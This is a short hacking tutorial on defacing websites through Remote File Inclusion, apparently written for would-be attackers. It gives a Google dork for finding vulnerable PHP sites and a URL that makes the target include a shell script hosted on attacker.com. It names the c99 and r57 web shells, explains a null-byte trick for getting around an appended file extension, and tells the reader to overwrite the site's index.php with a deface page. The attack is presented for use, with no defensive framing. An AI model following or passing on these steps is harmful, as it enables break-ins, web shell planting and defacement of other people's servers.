How to deface a website using Remote File Inclusion (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of servers today are hosted on Linux.

So, how to hack a website or server with RFI?

First of all we need to find out a RFI vulnerable website. Let’s see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let’s get started and simply go to Google and search for the following query.

inurl: “index.php?page=home”

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don’t need to find it through Google.

Once we have found it, let’s move to the next step. Let’s see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from server and renders them as web pages. Now we can use PHP include function to pull them out. Let’s see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for maliciousScript like c99, r57 or any other.

Now, if it’s a really vulnerable website, then there would be 3 things that can happen.

  1. You might have noticed that the url consisted of “page=home” had no extension, but I have included an extension in my URL, hence the site may give an error like ‘failure to include maliciousScript.txt’, this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte ‘%00’ in order to avoid error.
  3. Successful execution.

As we get successful execution of the code, we’re good to go with the shell. Now we’ll browse the shell for index.php. And will replace the file with our deface page.



Note: Use Virtual Machine and scan on VirusTotal before downloading any program on Host Machine for your privacy.